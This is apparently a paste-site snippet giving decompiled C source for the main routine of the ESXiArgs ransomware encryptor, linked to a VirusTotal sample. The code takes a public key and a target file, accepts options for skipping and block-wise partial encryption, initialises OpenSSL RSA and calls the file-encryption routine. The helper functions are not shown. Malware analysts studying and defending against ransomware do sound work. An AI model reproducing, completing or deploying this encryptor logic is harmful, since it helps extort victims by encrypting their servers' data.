esxiargs main
https://www.virustotal.com/gui/file/11b1b2375d9d840912cfd1f0d0d04d93ed0cddb0ae4ddb550a5b62cd044d6b66/detailsunknown
c_cpp
3 years ago
1.7 kB
46
Indexable
undefined4 main(int param_1,long param_2)
{
int iVar1;
undefined4 local_4c;
ulong local_38;
long local_30;
long local_28;
undefined8 local_20;
void *local_18;
uint local_c;
if (param_1 < 3) {
puts("usage: encrypt <public_key> <file_to_encrypt> [<enc_step>] [<enc_size>] [<file_size>]");
puts(" enc_step - number of MB to skip while encryption");
puts(" enc_size - number of MB in encryption block");
puts(" file_size - file size in bytes (for sparse files)\n");
local_4c = 1;
}
else {
local_28 = 0;
local_30 = 1;
local_38 = 0;
if (3 < param_1) {
iVar1 = atoi(*(char **)(param_2 + 0x18));
local_28 = (long)iVar1;
}
if (4 < param_1) {
iVar1 = atoi(*(char **)(param_2 + 0x20));
local_30 = (long)iVar1;
}
if (5 < param_1) {
iVar1 = atoi(*(char **)(param_2 + 0x28));
local_38 = (ulong)iVar1;
}
local_c = init_libssl();
if (local_c == 0) {
iVar1 = get_pk_data(*(char **)(param_2 + 8),&local_18);
if (iVar1 == 0) {
iVar1 = create_rsa_obj(local_18,&local_20);
if (iVar1 == 0) {
iVar1 = encrypt_file(*(char **)(param_2 + 0x10),local_20,local_28,local_30,local_38);
if (iVar1 == 0) {
local_4c = 0;
}
else {
print_error("encrypt_file",0);
local_4c = 5;
}
}
else {
print_error("create_rsa_obj",0);
local_4c = 4;
}
}
else {
print_error("get_pk_data",0);
local_4c = 3;
}
}
else {
printf("init_libssl returned %d\n",(ulong)local_c);
local_4c = 2;
}
}
return local_4c;
}
Editor is loading...